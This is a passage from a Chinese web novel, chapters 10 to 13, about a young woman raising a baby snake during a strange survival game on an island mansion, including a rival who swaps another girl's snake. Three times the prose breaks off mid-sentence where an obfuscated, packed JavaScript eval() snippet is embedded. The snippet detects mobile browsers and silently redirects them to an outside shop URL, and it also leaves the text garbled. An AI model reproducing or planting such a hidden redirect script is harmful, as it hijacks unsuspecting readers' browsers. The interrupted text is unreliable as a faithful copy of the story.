这种吞咽的吃法很野，人和蛇的区别在瞬间拉开，平月以为自己能接受蛇了，能毫无顾忌地摸平司司，能让它缠绕自己的手指，让它窝在自己手心，她认为自己不怕蛇了。 可这一眼，她才知道，自己只是不怕平司司。 不，应该是不怕幼崽模样的平司司，等平司司长大，说不定她也怕。 给蛇取名字的初衷就是想加强她和平司司之间的联系，尽量忽略它是一条蛇，当她能接受小时候的它，等它长大了，它是平司司，不是蛇，这种概念会让她更容易接受长大的它。 现在，平月迷茫了，她不确定自己会因为一个名字而接受长得庞大、长得能缠死她的蛇。 “嘶嘶。”平司司把脑袋从笼子缝隙挤出来，蹭她的手腕。 她还提着笼子，把手在笼子顶端，这个姿势让它不好爬，它尝试了几次都缠不到她的手上，只能拿尾巴卷着笼子的细柱子去蹭她的手。 它咬住她的衣袖，想把自己甩上去。 平月下意识用左手搂了它一把，托着它的腹部，把它送上自己的右手手背。 “嘶嘶。”平司司黏糊地蹭她，尾巴卷着手指，腹部贴在手背上。 隔着彼此薄薄的皮，平月感受到它小小的心脏在跳动。 “想吃哪个？”隔着柜子的玻璃门，平月一个一个指。 平司司好奇地收缩颊窝，睁着眼睛，它可以看见一些，但借助颊窝能接收得更准确。 没吃过，没吃过，没吃过，没吃过…… 每指一个，平司司都没吃过。 原来有这么多能吃的东西，那它吃了一路的蚂蚁算什么？ 小小的平司司受到大大的震撼。 10. 第 10 章 “吃哪个？” 平月指了一排又一排，坐在手背上的蛇只呆愣愣地望着，不嘶嘶也不吐舌头，两颗无机质的瞳孔让它呆上加呆。 槑。 平槑槑拿尾巴尖尖从第一个指到最后一个，把那些分辨不出是什么肉的肉团子全指一遍，脑袋重重一点：“嘶嘶！” 都要！ 平月用勺子从那些肉团上刮一点点下来，芝麻大小的一点，放在盘子里，整齐排放，颗粒均匀地铺满整个盘子。 餐柜旁有五颜六色的碗，挂在墙上的铭牌写的是蛇碗，平月随手拿一个去接水。 水哗啦啦流，平槑槑扭头去看那些碗，有条蛇在那儿盘来盘去地选，它的人类先拿了一个蓝色的，它不喜欢，龇牙冲人家嘶，人类又拿一个绿色的，它还是不喜欢，嘶得更难听，终于人类拿了个粉色的，它翘起尾巴卷住粉色的碗，乐颠乐颠滑走了。 “这是水，自个儿喝。”平月把水碗和肉盘放在桌上，抖抖手背，平槑槑滑到桌面，它抬起下巴搁在碗沿，这是个奶白色的碗。 装肉的盘子也是奶白色的。 原来妈妈喜欢奶白色。 小脑袋悬在水面，它伸出舌头，舔一下，再伸舌头舔一下。 挺好喝。 它埋下脑袋，嘴巴钻进水里，吨吨吨喝，两腮一鼓一鼓，喝到只剩下最后一层，它扭着脖子去嘬，水被吸进嘴里。 平月撑着下巴看，这是她第一次看蛇喝水，不凶的时候还挺可爱。 水喝完了，它拿尾巴尖尖戳平月的手，顺着她放在桌面的手背爬一圈，又拿舌头舔她的手指头。 舔得湿漉漉的。 平月嫌弃地拿开手，它跟着追，直到她把肉盘子拉过来，它才不追了，探着蛇信去舔芝麻大小的肉粒，舔一口，好吃，张嘴一口吃掉，舔一口，好吃，再吃掉。 佣人过来给蛇碗加水，它舔到不好吃的，就把舌头伸进水里洗洗，继续舔一口肉。 一盘子肉，挑挑拣拣，吃了大半盘。 其中一个特好吃。 平槑槑用尾巴尖尖戳着特好吃的那块芝麻点，“嘶嘶！” 还要。 “嘶嘶！” 好吃。 那块地方是盘子的中间位置，前后左右都被它吃得干干净净，肉汁都没留一点，吃完几十个味道的肉，还能记住这一块最好吃，这条蛇的记忆力是真强。 哪怕平月按着顺序把肉一排接一排放在盘子里，在前后左右都被它吃光的情况下，她也记不得那是哪块肉。 那些肉，长得大差不差，揉成各种形状，气味也差不多，都是香喷喷的熟肉。 尾巴尖尖又点了点，“嘶嘶！” 妈妈。 平月招手，佣人走过来，她捏着平槑槑的尾巴尖往那个空白地方点了点，“它要吃这个。” 平司司很上道，尾巴尖尖用力点，重重点一点，表达自己的迫切渴望。 路过的林雪投来一瞥，平月从那一瞥里读到了某种信息：她变傻了。 她垂下视线，看见平司司立起的尾巴尖戳在盘子里，一脸倨傲，而自己捏住它尾巴的手就像是它的靠山，有了靠山，它天不怕地不怕。 她和它就是一对街头流氓，声势盛大地刁难人，明明这盘子肉是她装的，却要佣人给她拿，有种把佣人当……狗鼻子用的错觉。 佣人沉默地站了一会儿，端起盘子离开了。 隔着两张餐桌，平月看见她低头嗅了嗅盘子，然后打开餐柜，从中取出一团捏成兔子形状的肉，有两个立起的兔耳朵。 肉端过来，还没靠近，平司司的蛇信就开始快速张探，尾巴一摇一晃，快乐的情绪掩都掩不住。 诶，佣人的鼻子还真有这种用！ 平司司舔了一口，欢快地用尾巴盘平月的手，仰头对佣人笑，张开的嘴巴陡然僵住，它看见佣人灰暗浑浊的左眼，那只被它毒瞎的左眼正牢牢盯着自己。 危险！ 几乎是一秒钟，平司司掉头钻进平月袖子躲起来。 手腕冰凉的一下，猝不及防，平司司就钻到了她的胳膊，一条蛇从袖口钻到胳膊，虫一样蜿蜒蠕动，平月整条手臂乍起寒毛，“出来！” 她赶紧用另一只手掐住胳膊的衣服，阻止它钻得更深。 就在她声音出口的刹那，平司司原路返回，又爬了出来，倒不是它听懂了妈妈的话，而是它觉得一个能睡得跟死猪一样的妈妈肯定打不过这个人。 它立在桌面，把妈妈的手护在身后，尾巴尖利地竖起来，龇开獠牙，毒腺空的，喷不出毒液，它就凶狠地对佣人嘶嚎。 它的想法很简单，先吓唬着，反正对方不知道它有没有毒。 佣人伸出一根食指，逗猫逗狗一样悬在平司司面前，平司司张嘴就咬，咬住了不放，死死咬，佣人抬抬手指就把它吊了起来，他们完全不是一个量级，她用一根手指就能把它碾碎。 “回来！”平月眼疾手快抓住它的身体，平司司很乖地松开口，任由妈妈把它拿回去，它窝在妈妈手心，瞳孔怒竖，凶神恶煞地瞪住佣人。 它咬得很凶，佣人的食指留下两个血洞，鲜血渗出来，当着平月的面，她把食指放进口中，舔干净丝丝缕缕的血。 都是疯子。 平月面不改色地说：“给我热毛巾。” 佣人转身拿来热毛巾，热毛巾从她手里递到平月手里，那根食指的血已经干净了，伤口也痊愈了，只留下浅浅一点透明灰的膜，几乎看不出受过伤。 一笼包子和油泼辣子面放到平月面前，打断了她的视线，那个独眼佣人已经离开了，平月放下热毛巾，低头吃面。 脑海里都是佣人伤口的事，是她的口水有治愈能力还是她本身治愈力强？药剂改变体质？ 碗边探来一颗蛇头，小小一颗瓜子一样，悬在碗的边缘，舌头舔了一口她的面汁，登时那颗头刷地抬起，嘴巴撕开，蛇信子“嘶嘶”吐气。 “嘶嘶嘶嘶！嘶嘶嘶嘶！嘶嘶嘶嘶！” 好辣好辣好辣好辣好辣好辣好辣好辣好辣！ 平司司不安地拍打蛇尾巴，红着眼睛去找妈妈，它难以理解妈妈怎么能吃那么古怪的东西，难吃死了，辣死蛇了。 平月把它丢进水碗，它滚进水里张开嘴大口大口涮舌头，平月又接来两碗水给它洗。 洗了好几碗水，平司司窝在水里，不动了。 难吃的东西给它辣没力气了。 平月戳了戳它的背，还是不动。 “以后别乱吃人的东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483268|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是油泼面，全是辣椒，她吃着都辣。 平月咬着包子和它说话，它不理，她懒得说了，吃完包子再把面吃掉。 平司司在水里扭头，去看妈妈，她吃得很香，看起来就很好吃的样子，可是它尝过了，一点也不好吃。 妈妈的口味……跟毒蛇一样，出奇的恶毒。 妈妈喜欢吃难吃的东西，平司司记下了。它委屈地去盘妈妈的手，想让她安抚它，它肚子疼。 可是妈妈只用手指头戳它一下，就不管它了。 “怎么？”平月问它。 平司司没力气说话，舌头在嘴里发麻，没感觉了，它丧失了感知能力。 颊窝收收缩缩，却发不出声音。 平月把肉盘子拉过来，用勺子刮下芝麻大小的肉，放进盘子里，她以为它吃不了那么大的肉，在等她喂它，她就摆芝麻一样，把肉一颗一颗摆满整个盘子，“吃吧。” 平司司不感兴趣。 它肚子疼。 舌头没感觉，它不会说话，不会感知了。 它拿脑袋顶她的手心，顶一下，就用红彤彤的眼睛望着她，见妈妈无动于衷，它再顶一下，再望一下。 然后它发现它的妈妈比大部分蛇笨。 难怪它的妈妈会吃那么恶毒的东西。 它躺下了，觉得它妈妈没救了，如果它死了，它妈妈肯定活不长。 这个瞬间，它都不恨它妈妈了，它本来想咬死她的，现在它知道这个妈妈没了它，会死很快，根本用不着它咬。 平月拉开笼子，把它放进去，拎到医务室。扬医生刚检查完吊在栏杆那儿的女生，正在写病情记录，钢笔沙沙沙，耳边出现一道声音：“医生，它舔了一口辣椒。” 扬医生头也没回，“没事。” 笼子里的蛇一下子坐了起来，怎么没事呢，它有事呢，对肉没胃口，脑袋晕，肚子疼，舌头麻，没力气，感知能力骤退，心情不好，这么多问题，怎么没事呢。 “哦。”平月把手伸进笼子，摸了摸平司司的头。 光溜溜的，全是骨头的质感，摸起来没猫咪舒服。 她捏了捏它的后脑勺，那个弧度很趁手，刚好是拇指和食指捏在一起的弧度，很舒服的手感，和猫咪柔软的手感不一样，是质地坚硬的手感。 但她知道这骨头很脆弱，于是捏的力度很小。 捏起来的很奇妙。 平月又捏了两下。 平司司舒服得翘起尾巴，脑袋不晕了，感知能力回来了，是妈妈的味道，舌头舔上妈妈的手心，把口水湿漉漉地留在上面，是自己的记号。 这里舔一下，那里舔一下，妈妈整个手都是自己的气息，这是属于它的手。 心情也变好了。 也想吃肉喝水了。 平司司真的没事。 好神奇。 妈妈是一颗药，摸摸它，它舔一舔，浑身的病都好了。 妈妈=包治百病的药，比医生好。 平司司记住了。 扬医生扣上钢笔，转过身来，小小的身影撞进视野，扬医生登时扬起热情的笑，“有病有病，来，给我检查检查。” 平月：“？” 平司司：“？？？” 11. 第 11 章 她笑得像看见什么稀释珍宝，恨不得剖开仔细瞧瞧。 平月拎着笼子就走，在楼梯转角和平司司脸对脸，“想不想看医生？想看就‘嘶’，不想看就‘嘶嘶’。” 平司司怎么可能听得懂，它对她的认知来源于面部表情、声音、肢体动作相结合通过感知系统传递进大脑所形成的画面，她说这句话时声线平稳，白开水似的，什么都没有。 “嘶嘶！” 吃肉。 它想吃肉了，还没有吃饱呢。 “真聪明。”平月摸摸笼子，像是摸摸它的小脑瓜，带它下去吃没吃完的肉。 没吃完的肉不知道被哪条蛇叼走了，餐桌都被收拾干净了，平月也没吃饱，她点二两辣子鸡面和一笼老干妈牛肉包，再去蛇餐柜取平司司爱吃的兔耳朵形状的肉，用勺子刮成芝麻大小的肉粒。 刮一下，平司司吃一口，刮一下，吃一口，平月刮的速度赶不上它吃的速度，它嘴巴一张，就吞没了，声儿都听不见一个，昂着小脑袋等她，还用尾巴尖尖催促她，戳在手腕上的尾巴尖尖就像饿死鬼投胎，平月沉默地放下勺子，让佣人来刮。 面端来，她就不管平司司了。平司司歪头等她，它觉得妈妈真可怜，人模人样的，比它还饿，长那么大个都找不到吃的么，她以前吃什么？蚂蚁？蜜蜂？蚊子？啧……可能这些都吃不到，她嘴里的东西比蚂蚁难吃多了。 盘子摆满芝麻肉，平司司没吃，蜷在包子旁边，伸着脖子看她，不知道在好奇什么，平月怕它一个好奇吃包子，将肉盘子拉到它面前，平司司拿尾巴尖尖戳开。 “吃饱了？”平月好奇。 平司司又戳她的碗，戳戳戳，快点吃。 平月心有所感，飞快吃完，喝完白水，准备把它塞笼子里，平司司一个扭身，首尾相衔地在她手下绕个圈，拿尾巴点点不成型的肉团，吃，它还要吃。 “叫你喂它。”佣人放下勺子。 说不清信不信，平月拿勺子从盘子里舀一粒芝麻肉送到平司司嘴边，它嘴巴一张，咕噜没了，支着脑袋等第二口，平月端起盘子怼它嘴前，它就不吃，脖子一拧，把脸偏到旁边，拿光溜溜后脑勺对她。 “你怎么是个事儿精？”平月食指点着勺子，疑惑不解，“蛇的情绪这么多样化？” 蛇的身体这样小，脑袋这样小，按理说，不管什么构造，它都应该很简单，怎么和人性子一样？还是最难伺候的那种性子。 “嘶！”平司司听出了她的嫌弃，猛一扭头就冲她嚎，龇开獠牙，威风凛凛的凶神相。 勺子带着肉冲那能毒死人的毒牙怼过去，平司司就是尖锐的冰锥化成春水，在那勺子肉里软得一塌糊涂，一口接一口，什么气什么怒什么怨都不及妈妈喂来的肉香。 吃完还予取予求，任由妈妈摸它的小肚子，尾巴撒娇似地缠上妈妈的小手指，连蛇信发出的声音都拐了几道柔情似水的弯：“嘤……” 平月：“……” 真想提回去给扬医生剖开看看这条蛇是不是被什么妖魔鬼怪夺舍了。 …… 秦玉是被隔壁的摔门声惊醒的，她迷迷糊糊翻个身想继续睡，还没完全睁开的视线扫过桌上被睡裙裹起来的一坨东西，登时全醒了，昨天的记忆排山倒海袭来，她僵在床上半响，跟炸了惊雷一样跳起来，手握衣架，浑身炸毛地瞪着那坨东西。 睡裙是昨晚裹上去的模样，笼子在桌子边缘，没有移动半分，她小心翼翼靠近，用衣架挑起半片裙摆，和一双黄玉似的眼珠对了个正着，一人一蛇都吓了一跳，秦玉朝后跳开半步，猪鼻蛇缩到阴影深处。 哎，它怕她。 秦玉胆子大了点，拨开睡裙，用衣架勾着笼子去厕所，把它放在三米外，眼睛时时刻刻能看见的地方，她快速洗漱，换完衣服已经十一点了，吃过一顿不算午饭不算早饭的饭，满房子找平月。 和蛇同睡一屋后，她没那么怕蛇了，但那些蛇坏得很，感受到了她的好欺负，时不时窜出来吓她，把她吓得尖叫一声，它们就围着她嘶嘶狂吐蛇信，朝她身上爬，她甩开腿就跑，越跑，蛇越追，越追，秦玉跑得越快，胸腔都被风灌满了，她顶着这股风，拐进昏黄的图书室，连穿几排书架躲到深处。 喘第一口气时，她想完了，她不应该往黑暗的地方躲，蛇最喜欢藏暗处了，而她连蛇都看不见……可人慌不择路时就喜欢躲暗处，觉得安全，别人看不见自己…… “嘶……” 不知道蛇在哪儿叫，秦玉扭头到处找，身体往后退，想离开，忽然，脚下顿住，图书室点的油灯，橘红的火心晕出不大的黄光，黄光相连，又被高耸入顶的书架割成碎片，导致书架和书架之间阴影交错，非常昏暗，秦玉站定了，视线顺着荡出去，才看见书架尽头站着一个人，那个人贴着书架站，不像是看书，而是……透过透过书脊之间的缝隙偷窥什么。 那个人，正是林雪。 秦玉在这里认识的人不多，林雪恰巧是其中之一，而这一正好讨厌她，于是她对林雪格外敏感且印象深刻。 她在看什么？ 林雪悄悄地潜过去，还没走一步，林雪转头过来，肩膀上的网纹蟒跟着她转，一人一蛇两双阴沉的眼珠把她盯住，秦玉抬起的脚像被鬼抓住了，腿上起了一层寒毛，然而林雪只是看她一眼就走了。 那人蛇共用一个背的身影消失在一排排书架之间的黑暗中，秦玉压下腿，鞋底贴到地面都是抖的，她一直认为林雪古怪，这一次，她认为林雪不是古怪，是鬼，能生生吃人。 可平月和林雪关系又很好……秦玉拍拍腿放放松，朝林雪刚才站的地方走过去，书架上的几本书并不是严丝密合，而是漏着几缕缝隙，她比林雪矮一些，从缝隙看出去被书架的木棱遮了半眼的视线，隐隐约约看见人的一角肩膀。 她踮起脚，把自己拔到林雪的高度，再看，竟然是平月！ 平月和另一个不认识的女生站在前面的书架前，两人手里拿着书，正在说话。 林雪看平月干嘛？ 她们关系那么好，干嘛偷窥？ 林雪这个人太怪了，秦玉想告诉平月，让她小心点，沿着书架走到尽头，正准备往前拐过去，余光捕捉到什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483269|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么，她下意识回头，林雪站在后一排书架后面，身体半掩，面无表情地盯着她，那双眼睛像蛇，阴森森地叼住她。 秦玉头皮都麻了，想不明白、转不过来，身体本能的直接破开嗓子大喊：“平月！”然后快速朝平月跑过去。 叫得太大声了，书架里窸窸窣窣，伏在黑暗里的蛇群被惊得到处爬，秦玉管不着了，比起蛇，林雪更恐怖！ 平月从书架边回头来，昏暗的烛光落在脸上，给她镀了一层柔光，眉眼平和，像端坐神台的佛像，平白无故让人安心，只一眼，秦玉的心稳了，轮得和风车一样快的双脚也慢了下来，平月接过女生手里的书，对她说了声谢谢，女生点点头和秦玉擦肩而过。 平月等她过去，秦玉心里有好多话想对平月说，话到嘴边变成了：“她是谁啊？” 本来没想得到回答，她和平月只能算认识，顶多她单方面把平月当最好的朋友，出乎意料，平月回答了她：“不认识。” “你拿的什么书啊？” 平月翻开给她看，美丽鼠蛇的介绍，生源地、习性、饮食结构、特征等等罗列清晰。 哦，原来她在这里研究她的蛇的品种，比起知道平月在这里目的更让秦玉高兴的是：平月对刚才那个女生的总结是“不认识”，对她却是问什么答什么，还把书给她看，说明她在平月心里比别人都重要！ 秦玉原地化身为小猫小狗，摇着尾巴，快乐地追在平月脚边，还顺手拿了本“关于猪鼻蛇的108种饲养方式”。 读书区坐着十几个女生，其中一个是和平时说过话的女生，平月没过去和她一桌，而是捡一张空桌坐下，把蛇笼放在桌面，平司司吃饱喝足就是睡觉，身体盘成小小一团，呼噜呼噜。 秦玉挨着她坐，她的蛇笼有点大，放在脚下，“平月，刚才我……”阴影从头顶盖下来，把她整颗头笼罩其中，有一片阴影诡异的扭动，秦玉抬头，林雪站在对面，对她裂开嘴，微微一笑，秦玉后面的话就那么硬生生卡在了喉咙，不上不下，眼睁睁看着林雪拉开椅子，在她对面坐下，她往椅子里一靠，两腿往前一伸，搭到另一张椅子里，翻开手里的书，悠哉看起来。 佣人端来水和水果，秦玉去看平月，她懒散地靠着，也在看书，似乎她说话停顿得太久了，把脸微微朝她侧了一下，示意她继续说，她听着呢。 秦玉满嘴话说不出来，“刚才我找了你好久……” “哦。”平月回她。 沉默，完全的沉默。 所有人都在看书，佣人站在吧台后面关注她们，时不时给她们添水加点心。 一切那么平静，可秦玉一肚子话哽得难受，重重翻开书，一个字都看不进去，导致其它感官无敌敏锐，她感觉自己的脚被碰了一下，冰凉的，她埋头去看，是一条蛇的尾巴，桌下黑暗，看不清是什么蛇，只能看个模糊的影，那个影正围着她的笼子盘旋，蛇头往前探往后绕，似乎在估量从哪里下嘴。 她猛地抬头，林雪肩膀上的网纹蟒不见了，不知道什么时候爬到了桌下，准备吞她的蛇！ 林雪想淘汰她！ 12. 第 12 章 “……林、雪。”秦玉颤着声叫。 对面的林雪抬头，若无其事的表情，嘴角冲她勾了勾，挑衅得很。秦玉又怒又怕，她听说过网纹蟒吃人的新闻，也没由来地怕林雪这个人。 在林雪毫不遮掩的挑衅中，秦玉歪了歪身体，手往椅子扶手一抓，碰到了平月放在扶手上手臂，她匆匆低头一看，自己不小心抓到了平月的椅子扶手，平月的手肘骨头很漂亮，珠子似地镇住了秦玉慌乱的心，她握住扶手就像握住了背靠的大山，底气都足了：“林雪，你的蛇碰到我的脚了，能不能别让它乱爬？” 安静的读书区被她的声音划破，有几桌女生朝她们看过来。 林雪无趣地垂下手，那缠绕笼子的网纹蟒腹部一松，顺着她的手爬回去，盘在肩头，两颗没神没魂的眼珠对着秦玉，秦玉赶紧把蛇笼提上桌，哪怕占据大半张桌子也要让它呆在自己视野里。 她不和蛇眼睛正对正，微微侧着身，像拥主心骨似的，把平月拥在自己前面，一抬眼就能看见平月，心安得不行，可这一抬眼，她愣了——平月在看网纹蟒的介绍。 那张蛇照片和对面盘在林雪肩膀上的网纹蟒一模一样，照片下的小字证实她没看错。 平月看林雪的网纹蟒做什么？ 谁说是看林雪的网纹蟒了，选网纹蟒的又不止林雪一个人，刚才和平月站在书架后面说话的女生也是网纹蟒，多了解一些蛇对自己没坏处，秦玉没往心头过，低头看起猪鼻蛇的108种饲养方式。 10、提供躲避屋，增强安全感。 23、食物以乳鼠为主，青蛙、鸟类、小鱼、蛋类代替。 24、成年蛇每7——14天喂养一次，使用镊子晃动诱食，喂食后48小时内禁止…… “三个问题。” 突如其来的声音吓秦玉一跳，她猛抬头，见平月合上书放到桌面，“七场游戏分别是什么？” 秦玉刚想回“不知道”，林雪的声音从对面悠悠飘来：“不跑？” “你知道下山的路？”平月问。 林雪的声音认真了一些：“我们只有三场游戏，第一场游戏培养默契值，第二场加强默契值，第三场检验默契值。” 不用平月问，林雪知道她想了解什么：“把所有人投放进森林，活到最后并且默契值保持在90以上的人赢，我是第二名，输了。” 秦玉急切问：“那第三名那些呢？” 林雪似笑非笑：“你想知道？” 秦玉还挺想知道的，但她的脑袋先一步猛摇头，耳朵听见平月问：“第一名呢？” 第一名不是赢了回去了嘛，秦玉心里说。 林雪的话覆盖了她的心声：“离开了。”秦玉还没来得及高兴，林雪对上秦玉眼睛，再加一句：“或许在你脚下。” 啪！ 秦玉手里的书掉了，她愣愣的，惨白着脸，不知道捡，平月给她捡起来，放她手里，秦玉傻傻握住，抬眼看向对面的林雪，这才发现读书区早没人了，只剩下她们三和吧台后的佣人，难怪林雪什么话都敢说。 “不是……第一名……可以离开吗？” 她吓得三魂去了六魄，睫毛止不住地惊颤，林雪乐了：“想什么呢，这是孤岛，在海上，你脚下不是海就是港口，人家当然坐船回去咯。”她说完冲秦玉嬉笑了一下。 秦玉：“……” 她发现林雪这个人好爱吓唬她，和外面的蛇一样，有点幼稚，秦玉突然没那么怕她了。 “第二个，”平月问，“测试默契值的标准是什么？” “有一个仪器，”林雪说，“自动测试蛇的反应，你可以理解成蛇对人的依赖反应，依赖程度越高，数值越高，满值100，也有人说测试蛇身上的人类气息值和人类身上的蛇味值。数值越高，默契值越高。” “把蛇味道往自己身上抹不就好了？”秦玉嘴快。 林雪都不屑回答这种问题，秦玉嘴巴快完就哑了，她能想到这个漏洞，佣人她们肯定也能想到，仪器早规避了她能想到和想不到的漏洞们。 “最后一个，”平月点着桌面，“怎么确定你的蛇就是你的蛇？” “你别想了。”林雪没头没尾一句话，让秦玉烧焦了半颗脑袋都没想明白是什么意思，她发现平月提问总是直切要害，像脑袋里装了高速旋转机，让她跟不上趟。 “人能通过颜色、花斑、体重、形态区别蛇，佣人天生五感犀利，你想在她们眼皮下养替身蛇，就好比你在房间里养另一个你，你猜她们知不知道？”林雪嘴角噙着一抹笑，那目光仿佛把平月看了个透。 平月确实有想养一条替身蛇的想法，有备无患，人之常情，这个想法行不通，那平司司……笼子里的平司司睡得天昏地暗，吃完饭到现在身都没翻个，一副天塌下来有笼子顶着的趋势，真要被哪条大蛇一口叼了，估计它能在人家肚子里睡到死。平月扶额，这条蛇越养越背离她的初衷，她要的是帮手，这蛇越养越像孩子，还不知道这子是个女孩儿男孩儿。 “还是不一样啊，”秦玉认真又肯定，“蛇是蛇，人是人，怎么能比？蛇能长得一模一样，人不能啊，就算整容，你看谁整一模一样了，而且蛇这么多，她们怎么知道哪条是哪条。” “是吗？”林雪讥笑，不等秦玉反驳，她把书一丢，起身走了。 “她这人怎么这样，有话好好说，说不通换个方法再说啊，她走什么走。”秦玉撇撇嘴，转向平月，“去吃饭吗？”她觉得平月应该起挺早的，这会儿一点了，该饿了。 “等等。”平月坐着没动。 等什么等，秦玉做贼似地往四周扫一眼，没人，没林雪，没蛇，吧台后的佣人一副蔽明塞聪的样子，周围烛灯晦暗，正是说悄悄话的好时机，她凑到平月耳边，悄声说：“我刚进来时候看见林雪在书架后面偷看你。” 秦玉瞅了眼平月的小蛇，蜷在笼子里像一颗黑黝黝的桑葚，流出蜜一样的甜香，让谁都想吃一口，如果网纹蟒要吃它，太简单了！ “你小心林雪的蛇，它刚才缠我的笼子，我的蛇大，它要吃得费力，你的蛇太小了，眨个眼就吞没了，你小心点。” 平月歪头，打量身边这个单纯的女孩儿，那双纯净的眼睛让平月想起她的大学舍友，入学那天火车晚点了，她晚上才到，舍友们都把宿舍收拾好了，看见她来，放下手里的东西，热情地招呼她，帮她擦床架子，给她介绍学校，带她去校门口吃饭，请她喝奶茶，跟她说哪家哪家她们去吃过了怪难吃，说话直白如秦玉这样。 “那什么……”秦玉红了脸，有点急切的，“我不是挑拨离间……你别误、会……”越说越像挑拨离间，秦玉急得满脸通红，张嘴吧吧却解释不清，一双好看的玉眉拧出了崎岖山路。 “嗯。”平月食指拂着笼子，不知道在想什么，秦玉吃不准她是什么想法，不敢再说什么，免得越说越错。 突然，平月问她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483270|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“你的蛇吃饭了吗？” “没吃。”她中午只顾着自己吃饭，忘记它也要吃了。 那抚着笼子的食指朝前指向吧台后的佣人，“去要一团肉，喂它。” 秦玉就是平月养的小猫小狗，脑子想不明白，身体已经站起来朝吧台走了，还没走到，佣人把一个加盖的盘子放到吧台上，透明的盖子下面是一只去皮的乳鼠，秦玉刚才饲养手册上见过，猪鼻蛇吃老鼠。 佣人耳朵好尖，那她们刚才说的那些话是不是都听见了？秦玉不敢去看佣人，端着盘子快步回到桌边，她还没解开盖子呢，林雪抓着一条蛇回来，珊瑚色，吻端上翻像个猪鼻子，在林雪手里装死。 秦玉呆住了，简直和她的猪鼻蛇一模一样，不，就是和她猪鼻蛇一样！至少她的肉眼睛分辨不出来哪儿不一样。 就这错愕的瞬间，林雪拨开她的笼门，手一伸，笼子里的猪鼻蛇被拽了出来。 “林雪！”秦玉上前抱住笼子，迟了一步，两条珊瑚色的猪鼻蛇被她一抖，装死的不装死的都突然活了过来，朝前猛地一扑，落到吧台上蠕动两下爬到佣人身上窝在怀里不动了。 佣人抱着两条猪鼻蛇，手背摸着它们受惊乍起的背安抚，没一会儿，两条猪鼻蛇首尾相缠，软软窝在了怀里。 那两条，尾巴一样尖，身体一样圆，脑袋一样方，连吻端翘起的弧度都一模一样，连眼珠的颜色都是黄玉色的！ 秦玉懵了，傻了，呆了，好半响，她指着林雪：“你无耻！” 无耻的林雪拍拍手，像上面沾满了灰，“我教你，你不听，事教人，一遍会。” “我什么时候不听了！”秦玉气得眼眶都红了，她只是提出疑点，难道不能有疑惑吗！ “听不听都这样咯，”林雪无所谓地摊手，“做个示范嘛。” 秦玉和她没法理论，林雪就是要害她的蛇，蛇死了，她就被淘汰，手不沾血！她毫无办法，谁让林雪那样坏，坏得都没法正常和她打交道。 秦玉憋屈地提着笼子走到佣人那儿，“能不能把我的蛇还给我……” “哪条？”佣人问她。 秦玉猛地扭头，林雪不是说佣人知道哪条是哪条吗？林雪对她咧嘴笑，秦玉懒得看，越看心里越堵，小心翼翼问佣人：“你不知道吗？” 佣人点头：“知道。” 秦玉：“？” 那你还我啊！ 佣人：“为什么要告诉你？” 秦玉不可置信地瞪大眼，眼睁睁看着佣人夹住猪鼻蛇的脖子一扭，两条蛇缠成麻花，标准的复制粘贴，秦玉把眼珠瞪瞎了都分辨不出，真是难为林雪能找来这么像的蛇！ 她终于知道为什么平月要她喂蛇吃饭了，吃了饭蛇肚子鼓起来才好辨认。平月她……怎么这么聪明……要是她刚才走快点，别那么怕佣人，也不至于这样…… 秦玉委屈得不行。 “咚咚。” 耳边响起指骨敲击台面的声音，秦玉扭头，平月站在吧台边，平静地把空蛇笼推到佣人面前，“我饿了。” 秦玉想让她自个儿去吃，她得拿到自己的蛇，刚张嘴，那个说什么都不给她蛇的佣人把交缠的两条蛇分开，其中一条顺着手臂爬到台面，钻进笼子，平月抬指扣上笼门，和秦玉擦身而过：“走了。” 秦玉从没仰慕崇拜过谁，这一刻，她恨不得在自己脖子上套根链子，把另一端交到平月手里——她想当平月的小狗！ 13. 第 13 章 整栋房子的灯在晚上八点准时熄，佣人在黑暗里将壁灯一盏一盏点亮，黄豆大的火焰隔着透明灯罩晕出昏暗的光，把房子笼得昏昏暗暗像要闹鬼。 平月没吃晚饭，这会儿毫无睡意，清明的脑袋印证一件事：佣人们只把安眠药加在晚饭里。好像只是单纯为了让她睡觉。 晚上十点，平司司还在睡，没有要醒的征兆，不知道是不是品种不纯的缘故，书里看的关于“美丽鼠蛇”的资料和平司司完全对不上号。 凌晨一点，平司司还没醒，平月真想给它换个名字：平猪。 她打开笼子，把睡死的猪用布裹起来揣兜里，绑上头发，开门出去。 昏暗的夜里蛇影重重，探着蛇信嘶她，平月沿着走廊轻悄悄下楼，医务室的灯灭着，餐厅亮着几支白蜡烛，平月怀疑办这个游戏的一定是个糟老头子，什么都很古老。 